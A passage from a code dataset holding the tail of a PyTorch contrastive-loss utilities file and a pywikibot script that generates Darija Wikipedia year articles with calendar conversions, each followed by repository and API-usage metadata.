loss[:batch_size]) / 2\r\n else:\r\n return loss.mean()\r\n else:\r\n assert not sampleWiseLoss\r\n\r\n mask = get_negative_mask(batch_size).cuda()\r\n neg = neg * mask\r\n negWeight = torch.cat([weightIns, weightIns], dim=0).unsqueeze(0) * mask\r\n negWeightNormalized = negWeight / negWeight.sum(0, keepdim=True) * mask.sum(0, keepdim=True)\r\n neg = neg * negWeightNormalized\r\n\r\n # pos score\r\n pos = torch.exp(torch.sum(out_1 * out_2, dim=-1) / t)\r\n pos = torch.cat([pos, pos], dim=0)\r\n\r\n # estimator g()\r\n assert not debiased\r\n Ng = neg.sum(dim=-1)\r\n\r\n # contrastive loss\r\n loss = (- torch.log(pos / (pos + Ng)))\r\n\r\n return loss.mean()\r\n\r\n\r\ndef nt_xent_sigmoid_focal(x, t, gamma, features2=None):\r\n if features2 is None:\r\n out = F.normalize(x, dim=-1)\r\n d = out.size()\r\n batch_size = d[0] // 2\r\n out = out.view(batch_size, 2, -1).contiguous()\r\n out_1 = out[:, 0]\r\n out_2 = out[:, 1]\r\n else:\r\n batch_size = x.shape[0]\r\n out_1 = F.normalize(x, dim=-1)\r\n out_2 = F.normalize(features2, dim=-1)\r\n\r\n # neg score\r\n out = torch.cat([out_1, out_2], dim=0)\r\n neg = torch.mm(out, out.t().contiguous()) / t\r\n\r\n mask = get_negative_mask(batch_size).cuda()\r\n neg = neg.masked_select(mask)\r\n # pos score\r\n pos = torch.sum(out_1 * out_2, dim=-1) / t\r\n pos = torch.cat([pos, pos], dim=0)\r\n\r\n # print(\"pos is {}, neg is {}\".format(pos, neg))\r\n\r\n # get sigmoid prob\r\n p_pos = torch.sigmoid(pos)\r\n p_neg = torch.sigmoid(-neg)\r\n p_all = torch.cat([p_pos, p_neg])\r\n\r\n # print(\"after sigmoid, pos is {}, neg is {}\".format(p_pos, p_neg))\r\n\r\n # contrastive loss\r\n loss = - ((1 - p_all) ** gamma * torch.log(p_all)).sum() / (batch_size * 2)\r\n\r\n return loss\r\n\r\n\r\ndef getStatisticsFromTxt(txtName, num_class=1000):\r\n statistics = [0 for _ in range(num_class)]\r\n with open(txtName, 'r') as f:\r\n lines = f.readlines()\r\n for line in lines:\r\n s = re.search(r\" ([0-9]+)$\", line)\r\n if s is not None:\r\n statistics[int(s[1])] += 1\r\n return statistics\r\n\r\n\r\ndef getAllClassNamesFromTxt(txtName):\r\n names = []\r\n with open(txtName, 'r') as f:\r\n lines = f.readlines()\r\n for line in lines:\r\n s = re.search(r\"train/(n[0-9]+)/n[0-9]+_[0-9]+\\.JPEG ([0-9]+)\", line)\r\n if (s is not None):\r\n names.append(str(s[1]))\r\n\r\n names = np.unique(names).tolist()\r\n return names\r\n\r\n\r\ndef getAllClassNamesFromTxtPlaces(txtName):\r\n names = []\r\n with open(txtName, 'r') as f:\r\n lines = f.readlines()\r\n for line in lines:\r\n s = re.search(r\"data_256/([a-zA-Z/]+)/[0-9]+\\.jpg ([0-9]+)\", line)\r\n if (s is not None):\r\n names.append(str(s[1]))\r\n\r\n names = np.unique(names).tolist()\r\n return names\r\n\r\n\r\ndef gather_tensor(tensor, local_rank, world_size):\r\n # gather features\r\n tensor_list = [torch.zeros_like(tensor) for _ in range(world_size)]\r\n torch.distributed.all_gather(tensor_list, tensor)\r\n tensor_list[local_rank] = tensor\r\n tensors = torch.cat(tensor_list)\r\n return tensors\r\n\r\n\r\n\r\n\r\n\r\ndef reOrderData(idxs, labels, features):\r\n # sort all losses and idxes\r\n labels_new = []\r\n features_new = []\r\n idxs_new = []\r\n\r\n # reorder\r\n for idx, label, feature in zip(idxs, labels, features):\r\n order = np.argsort(idx)\r\n idxs_new.append(idx[order])\r\n labels_new.append(label[order])\r\n features_new.append(feature[order])\r\n\r\n # check if equal\r\n for cnt in range(len(idxs_new) - 1):\r\n if not np.array_equal(idxs_new[cnt], idxs_new[cnt+1]):\r\n raise ValueError(\"idx for {} and {} should be the same\".format(cnt, cnt+1))\r\n\r\n return idxs_new, labels_new, features_new\r\n\r\n\r\ndef cosine_annealing(step, total_steps, lr_max, lr_min, warmup_steps=0):\r\n assert warmup_steps >= 0\r\n\r\n if step < warmup_steps:\r\n lr = lr_max * step / warmup_steps\r\n else:\r\n lr = lr_min + (lr_max - lr_min) * 0.5 * (1 + np.cos((step - warmup_steps) / (total_steps - warmup_steps) * np.pi))\r\n\r\n return lr\r\n\r\n\r\ndef get_CUB200_data_split(root, customSplit):\r\n if os.path.isdir(root):\r\n root = root\r\n else:\r\n if os.path.isdir(\"../../data/CUB_200_2011/images\"):\r\n root = \"../../data/CUB_200_2011/images\"\r\n elif os.path.isdir(\"/mnt/models/dataset/CUB_200_2011/images\"):\r\n root = \"/mnt/models/dataset/CUB_200_2011/images\"\r\n else:\r\n assert False\r\n\r\n txt_train = \"split/CUB_200/train_split.txt\"\r\n txt_val = \"split/CUB_200/val_split.txt\"\r\n txt_test = \"split/CUB_200/test_split.txt\"\r\n\r\n if customSplit != '':\r\n txt_train = \"split/CUB_200/{}.txt\".format(customSplit)\r\n\r\n return root, txt_train, txt_val, txt_test\r\n\r\n\r\ndef remove_state_dict_module(state_dict):\r\n # rename pre-trained keys\r\n for k in list(state_dict.keys()):\r\n # retain only encoder_q up to before the embedding layer\r\n if k.startswith('module.'):\r\n # remove prefix\r\n state_dict[k.replace(\"module.\", \"\")] = state_dict[k]\r\n # delete renamed or unused k\r\n del state_dict[k]\r\n\r\n return state_dict\r\n\r\n\r\ndef fix_backbone(model, log):\r\n # fix every layer except fc\r\n # fix previous four layers\r\n log.info(\"fix backbone\")\r\n for name, param in model.named_parameters():\r\n if not (\"fc\" in name):\r\n param.requires_grad = False\r\n\r\n for name, m in model.named_modules():\r\n if not (\"fc\" in name):\r\n m.eval()\r\n\r\n\r\ndef fix_agent(model, log):\r\n # fix every layer except fc\r\n # fix previous four layers\r\n log.info(\"fix agent\")\r\n for name, param in model.named_parameters():\r\n param.requires_grad = False\r\n\r\n for name, m in model.named_modules():\r\n m.eval()\r\n\r\n\r\ndef modify_model_weight(model, random_prune_ratio):\r\n for module in model.modules():\r\n if isinstance(module, nn.Conv2d):\r\n module.weight.data.copy_(module.weight.data * (1 - random_prune_ratio))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n a = torch.rand([8, 128], device=\"cuda\")\r\n\r\n loss_ori = nt_xent_debiased(a, t=0.5, sampleWiseLoss=True)\r\n # loss = nt_xent_inter_batch_multiple_time(a, t=0.5, batch_size=4, repeat_time=5)\r\n loss = nt_xent(a, t=0.5, sampleWiseLoss=True)\r\n\r\n print(\"loss_ori is {}, loss new is {}\".format(loss_ori, loss))\r\n", "repo_name": "J-Rojas/UTAustin-VITA-CoMoE", "sub_path": "utils/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 24248, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.zeros_like", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.distributed.all_gather", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.cat", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.distributed.broadcast", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 30, "usage_type": "attribute"}, {"api_name": "torch.exp", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 66, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 66, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 69, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 71, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 86, "usage_type": "name"}, {"api_name": "torch.rand_like", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 90, "usage_type": "attribute"}, {"api_name": "torch.clamp", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 113, "usage_type": "call"}, {"api_name": "time.time", "line_number": 116, "usage_type": "call"}, {"api_name": "time.time", "line_number": 129, "usage_type": "call"}, {"api_name": "time.time", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 148, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed_all", "line_number": 149, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 149, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 150, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.backends", "line_number": 153, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 154, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 155, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 201, "usage_type": "call"}, {"api_name": "os.path", "line_number": 201, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 237, "usage_type": "attribute"}, {"api_name": "torch.ones", "line_number": 244, "usage_type": "call"}, {"api_name": "torch.nn.functional.normalize", "line_number": 252, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 252, "usage_type": "name"}, {"api_name": "torch.nn.functional.normalize", "line_number": 253, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 253, "usage_type": "name"}, {"api_name": "torch.exp", "line_number": 257, "usage_type": "call"}, {"api_name": "torch.mm", "line_number": 257, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 263, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 263, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 269, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 278, "usage_type": "call"}, {"api_name": "torch.mm", "line_number": 278, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 281, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 281, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 287, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 296, "usage_type": "call"}, {"api_name": "torch.distributed.all_gather", "line_number": 297, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 297, "usage_type": "attribute"}, {"api_name": "torch.cat", "line_number": 299, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 313, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 314, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 320, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 320, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 325, "usage_type": "call"}, {"api_name": "torch.nn.functional.normalize", "line_number": 335, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 335, "usage_type": "name"}, {"api_name": "torch.nn.functional.normalize", "line_number": 343, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 343, "usage_type": "name"}, {"api_name": "torch.nn.functional.normalize", "line_number": 344, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 344, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 347, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 348, "usage_type": "call"}, {"api_name": "torch.mm", "line_number": 348, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 361, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 361, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 362, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 365, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 372, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 378, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 382, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 382, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 393, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 393, "usage_type": "name"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 405, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 405, "usage_type": "name"}, {"api_name": "torch.sum", "line_number": 407, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 407, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 407, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 412, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 412, "usage_type": "name"}, {"api_name": "torch.ones", "line_number": 431, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 436, "usage_type": "call"}, {"api_name": "torch.nn.functional.normalize", "line_number": 441, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 441, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 447, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 453, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 456, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 456, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 457, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 459, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 459, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 460, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 460, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 461, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 465, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 471, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 474, "usage_type": "call"}, {"api_name": "torch.nn.functional.normalize", "line_number": 479, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 479, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 487, "usage_type": "call"}, {"api_name": "torch.randperm", "line_number": 491, "usage_type": "call"}, {"api_name": "torch.argsort", "line_number": 492, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 500, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 512, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 517, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 522, "usage_type": "call"}, {"api_name": "torch.nn.functional.normalize", "line_number": 530, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 530, "usage_type": "name"}, {"api_name": "torch.nn.functional.normalize", "line_number": 538, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 538, "usage_type": "name"}, {"api_name": "torch.nn.functional.normalize", "line_number": 539, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 539, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 542, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 544, "usage_type": "call"}, {"api_name": "torch.mm", "line_number": 544, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 554, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 554, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 555, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 562, "usage_type": "call"}, {"api_name": "numpy.e", "line_number": 562, "usage_type": "attribute"}, {"api_name": "torch.log", "line_number": 570, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 582, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 587, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 587, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 588, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 595, "usage_type": "call"}, {"api_name": "torch.nn.functional.normalize", "line_number": 602, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 602, "usage_type": "name"}, {"api_name": "torch.nn.functional.normalize", "line_number": 610, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 610, "usage_type": "name"}, {"api_name": "torch.nn.functional.normalize", "line_number": 611, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 611, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 614, "usage_type": "call"}, {"api_name": "torch.mm", "line_number": 615, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 620, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 621, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 626, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 627, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 628, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 633, "usage_type": "call"}, {"api_name": "re.search", "line_number": 643, "usage_type": "call"}, {"api_name": "re.search", "line_number": 654, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 658, "usage_type": "call"}, {"api_name": "re.search", "line_number": 667, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 671, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 677, "usage_type": "call"}, {"api_name": "torch.distributed.all_gather", "line_number": 678, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 678, "usage_type": "attribute"}, {"api_name": "torch.cat", "line_number": 680, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 695, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 702, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 714, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 714, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 720, "usage_type": "call"}, {"api_name": "os.path", "line_number": 720, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 723, "usage_type": "call"}, {"api_name": "os.path", "line_number": 723, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 725, "usage_type": "call"}, {"api_name": "os.path", "line_number": 725, "usage_type": "attribute"}, {"api_name": "torch.nn.Conv2d", "line_number": 779, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 779, "usage_type": "name"}, {"api_name": "torch.rand", "line_number": 784, "usage_type": "call"}]} {"seq_id": "21537826051", "text": "import pywikibot, math\nfrom datetime import datetime\n\nMIN_YEAR = -625\nMAX_YEAR = int(datetime.now().year)+5\n\n\nBIRTH_PAGE_PART = \"قالب:ناس تزادو ف\"\nDEATH_PAGE_PART = \"قالب:ناس توفاو ف\"\nEVENT_PAGE_PART = \"قالب:حوايج وقعو ف\"\nEXPCT_PAGE_PART = \"قالب:أحدات مبرمجة ؤلا متوقعة ف\"\nBC = \" قبل لميلاد\"\nBC_REDUCED = \"ق.م\"\nBH_REDUCED = \"ق.هـ\"\nBCH_REDUCED = \"ق.ش\"\n\nYEAR_NAV_PTRN = \"{{Year nav|{raw_year}}}\"\nCENT_TEMPLATE_TAG = \"{{C{century} year in topic}}\"\n\nYEAR = \"[[عام]]\"\nLEAP_YEAR = \"[[عام مكبس]]\"\n\nCENTURY = \"قرن \"\nDECADE_PART = \"عوام \"\n\nEN_ARY_DAYS = {\"Sunday\":\"لحد\"\n ,\"Monday\":\"تنين\"\n ,\"Tuesday\":\"تلات\"\n ,\"Wednesday\":\"لاربع\"\n ,\"Thursday\":\"لخميس\"\n ,\"Friday\":\"جمعة\"\n ,\"Saturday\":\"سبت\"\n }\n\nROMAN_PART = \"، ؤ {روماني} ف [[تقويم روماني|تّقويم رّوماني]]\"\n\nSOURCE = \"{{Cite web|url=https://www.timeanddate.com/calendar/?year={عام}&country=106|title={عام}|language=en}}\"\n\n\nlist_page_parts = [BIRTH_PAGE_PART, DEATH_PAGE_PART, EVENT_PAGE_PART, EXPCT_PAGE_PART]\n\nYEAR_PART = \"(عام)\"\n\nMAIN_TEXT = \"\"\"{{Year nav|yy}}\n{{C{cent} year in topic}}\n'''{عام}''' هوّا {نوع} ف [[تقويم ڭريڭوري|تّقويم لڭريڭوري]] [[عوام ميلاديين بداو نهار {نهار1}|بدا نهار {نهار1}]] ؤ {مسالية} نهار {نهار2}. هوّا لعام نمرة {عام} ف [[إيرا عامة|لإيرا لعامة]] ؤ لفترة د [[بعد لميلاد]]، نمرة {فلقرن} ف [[لقرن {قرن}]]، ؤ نمرة {فلعقد} ف ل[[عقد]] ديال [[عوام {بدية}]].{source}\n\n{عام} كيوافق {إسلامي} ف [[تقويم إسلامي|تّقويم لهيجري]] ؤ {أمازيغي} ف [[تقويم أمازيغي|تّقويم لأمازيغي]] ؤ {هولوسيني} ف [[تقويم هولوسيني|تّقويم لهولوسيني]].\n\n{{ناس تزادو ف {عام}}}\n\n{{ناس توفاو ف {عام}}}\n\n{{حوايج وقعو ف {عام}}}\n\n{{قالب:أحدات مبرمجة ؤلا متوقعة ف {موستقبال}}}\n\n== عيون لكلام ==\n{{عيون}}\n{{ضبط مخازني}}\n\n[[تصنيف:{عام}]]\n[[تصنيف:عوام د تقويم لميلادي]]\n[[تصنيف:مقالات زادهوم داريجابوت]]\n\"\"\"\n\nMAIN_TEXT_BC = \"\"\"{{Year nav|yy}}\n{{CX year in topic}}\n'''{عام}''' هوّا عام ف [[تقويم يولياني|تّقويم ليولياني]] ف لفترة د [[قبل لميلاد]]، نمرة {فلقرن} ف [[لقرن {قرن}]]، ؤ نمرة {فلعقد} ف ل[[عقد]] ديال [[عوام {بدية}]].{{Cite web|url=https://keisan.casio.com/exec/system/1247132711|title=Day of Week Calculator|language=en}}\n\n{عام} كيوافق {إسلامي} ف [[تقويم إسلامي|تّقويم لهيجري]] ؤ {أمازيغي} ف [[تقويم أمازيغي|تّقويم لأمازيغي]]، ؤ {روماني} ف [[تقويم روماني|تّقويم رّوماني]]، ؤ {هولوسيني} ف [[تقويم هولوسيني|تّقويم لهولوسيني]].\n\n{{ناس تزادو ف {عام}}}\n\n{{ناس توفاو ف {عام}}}\n\n{{حوايج وقعو ف {عام}}}\n\n== عيون لكلام ==\n{{عيون}}\n{{ضبط مخازني}}\n\n[[تصنيف:{عام}]]\n[[تصنيف:عوام د تقويم لميلادي]]\n[[تصنيف:مقالات زادهوم داريجابوت]]\"\"\"\n\n\nTMP_PAGE_SAVE_MESSAGE = \"پاج ديال لقالب تقادّات خاوية\"\n\nPAGE_SAVE_MESSAGE = \"پاج د لعام تقادّات\"\n\ndef get_year_text(year):\n if year > 0:\n return str(year)\n else:\n return str(abs(year))+BC\n\ndef is_year_templates_available(site, year):\n \n year_text = get_year_text(year)\n for page_part in list_page_parts:\n title = page_part+\" \"+year_text\n page = pywikibot.Page(site,title)\n #print(page.title())\n if page.text != \"\":\n #print(page.title())\n return True\n\n return False\n\n\"\"\"\ndef get_islamic_year_range(year):\n islamicMult = 1.030684 # the factor to multiply by\n islamicSub = 621.5643 # the factor to subtract by\n if (year - 621) > 0:\n\t#year1 = math.floor(islamicMult*(year-islamicSub ))\n\tyear1 = math.floor(islamicMult*(year-islamicSub))\n\t#year2 = math.floor( islamicMult * ( year - islamicSub + 1 ) )\n\tyear2 = math.floor(islamicMult*(year-islamicSub+1))\n\treturn str(year1)+'-'+str(year2)\n else:\n\tyear1 = math.ceil( -islamicMult * ( year - islamicSub ) )\n\tyear2 = math.ceil( -islamicMult * ( year - islamicSub + 1 ) )\n\treturn str(year1)+\" \"+BH_REDUCED+'-'+str(year2)+\" \"+BH_REDUCED\n\"\"\"\ndef get_islamic_year_range(year):\n mult = 1.030684\n sub = 621.5643\n if year > 621:\n year1 = math.floor(mult * (year - sub))\n year2 = math.floor(mult * (year - sub + 1))\n return str(year1)+'-'+str(year2)\n else:\n year1 = math.ceil(-mult * (year - sub))\n year2 = math.ceil(-mult * (year - sub + 1))\n return str(year1)+\" \"+BH_REDUCED+'-'+str(year2)+\" \"+BH_REDUCED\n\ndef get_year_type(year):\n if year < 0:\n return YEAR\n elif year % 400 == 0:\n return LEAP_YEAR\n elif year % 100 == 0:\n return YEAR\n elif year % 4 == 0:\n return LEAP_YEAR\n \n return YEAR\n\ndef get_start_end_of_year_day_name(year):\n start_year = datetime.strptime('Jan 1 '+str(year).rjust(4,'0'), '%b %d %Y')\n end_year = datetime.strptime('Dec 31 '+str(year).rjust(4,'0'), '%b %d %Y')\n\n start, end = start_year.strftime(\"%A\"),end_year.strftime(\"%A\")\n\n return EN_ARY_DAYS[start],EN_ARY_DAYS[end]\n \ndef get_number_in_century(year):\n if year > 0:\n r = year%100\n return (lambda r:100 if r == 0 else r)(r)\n else:\n return 10 - (year + 1)%10\n\ndef get_number_in_decade(year):\n \"\"\"\n Returns the year number within the decade.\n \"\"\"\n if year > 9:\n return year%10+1\n elif year > -10:\n return year%10 \n else:\n if year%10 == 0:\n return 10\n else:\n return year%10\n\ndef get_decade(year):\n decade_number = abs(year)//10*10\n if year > 0:\n return str(decade_number)\n else:\n return str(decade_number)+BC\n \n\ndef get_century(year):\n century_number = abs(year)//100+1\n return (lambda year:str(century_number) if year > 0 else str(century_number)+BC)(year)\n \ndef get_amazigh_year(year):\n K = 950\n if year > 0:\n return year + K\n elif year < - K:\n return str(year+K+1)+\" \"+BCH_REDUCED\n else:\n return year + K + 1\n\ndef get_holocene_year(year):\n K = 10000\n if year > 0:\n return year + K\n else:\n return year + K + 1\n\ndef get_roman_year(year):\n K = 753\n if year > 0:\n return year + K\n elif year < - K:\n return None\n else:\n return year + K + 1\n\ndef get_full_text(year):\n if year > 0:\n text = MAIN_TEXT.replace(\"yy\",str(year))\n year_text = str(year)\n start, end = get_start_end_of_year_day_name(year)\n if year >= datetime.now().year:\n end_verb = \"غادي يسالي\"\n text = text.replace(\"{موستقبال}\",year_text)\n else:\n end_verb = \"سالا\"\n text = text.replace(\"{{قالب:أحدات مبرمجة ؤلا متوقعة ف {موستقبال}}}\",\"\")\n \n century = int(get_century(year))\n if century > 17:\n cent = str(century)\n else:\n cent = \"X\"\n text = text.replace(\"{source}\",SOURCE).replace(\"{عام}\",year_text).replace(\"{نوع}\",get_year_type(year)).replace(\"{نهار1}\",start).replace(\"{مسالية}\",end_verb).replace(\"{نهار2}\",end) \\\n .replace(\"{فلقرن}\",str(get_number_in_century(year))).replace(\"{قرن}\",str(get_century(year))).replace(\"{فلعقد}\",str(get_number_in_decade(year))) \\\n .replace(\"{بدية}\",str(get_decade(year))).replace(\"{إسلامي}\",get_islamic_year_range(year)).replace(\"{أمازيغي}\",str(get_amazigh_year(year))) \\\n .replace(\"{هولوسيني}\",str(get_holocene_year(year))).replace(\"{cent}\",cent)\n else:\n text = MAIN_TEXT_BC.replace(\"yy\",str(year))\n year_text = str(abs(year))+BC\n text = text.replace(\"{عام}\",year_text).replace(\"{نوع}\",get_year_type(year)).replace(\"{فلقرن}\",str(get_number_in_century(year))) \\\n .replace(\"{قرن}\",str(get_century(year))).replace(\"{فلعقد}\",str(get_number_in_decade(year))) \\\n .replace(\"{بدية}\",str(get_decade(year))).replace(\"{إسلامي}\",get_islamic_year_range(year)).replace(\"{أمازيغي}\",str(get_amazigh_year(year))) \\\n .replace(\"{هولوسيني}\",str(get_holocene_year(year)))\n roman_year = get_roman_year(year)\n print(roman_year)\n if roman_year is None:\n text = text.replace(ROMAN_PART,\"\")\n else:\n text = text.replace(\"{روماني}\",str(roman_year))\n \n return text\n\ndef run_for_years_list(years, site):\n \n for year in years:\n print(year)\n if is_year_templates_available(site, year):\n year_text = get_year_text(year)\n print(year_text)\n if year < 32 and year > 0:\n year_text2 = year_text+\" \"+YEAR_PART\n page = pywikibot.Page(site,year_text2)\n else:\n page = pywikibot.Page(site,year_text)\n if page.text == \"\":\n \n for page_part in list_page_parts[:-1]:\n title = page_part+\" \"+year_text\n tmp_page = pywikibot.Page(site,title)\n if tmp_page.text == \"\":\n tmp_page.text = \"\"\n tmp_page.save(TMP_PAGE_SAVE_MESSAGE)\n \n page.text = get_full_text(year).strip().replace(\"\\n\\n\\n\",\"\\n\")\n page.save(PAGE_SAVE_MESSAGE)\n\nif __name__ == '__main__':\n years = list(range(1,MAX_YEAR+1))\n \n site = pywikibot.Site()\n \n \n run_for_years_list(years, site)\n\n years = list(range(MIN_YEAR,0))\n #print(years)\n\n run_for_years_list(years, site)\n\n \n \n #\"\"\"\n", "repo_name": "maurusian/DarijaBot", "sub_path": "Task 23 - Add year pages/Wikipedia/add_year_pages.py", "file_name": "add_year_pages.py", "file_ext": "py", "file_size_in_byte": 10302, "program_lang": "python", "lang": "ar", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.datetime.now", "line_number": 5, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 5, "usage_type": "name"}, {"api_name": "pywikibot.Page", "line_number": 103, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 130, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 131, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 134, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 135, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 151, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 151, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 152, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 152, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 221, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 221, "usage_type": "name"}, {"api_name": "pywikibot.Page", "line_number": 262, "usage_type": "call"}, {"api_name": "pywikibot.Page", "line_number": 264, "usage_type": "call"}, {"api_name": 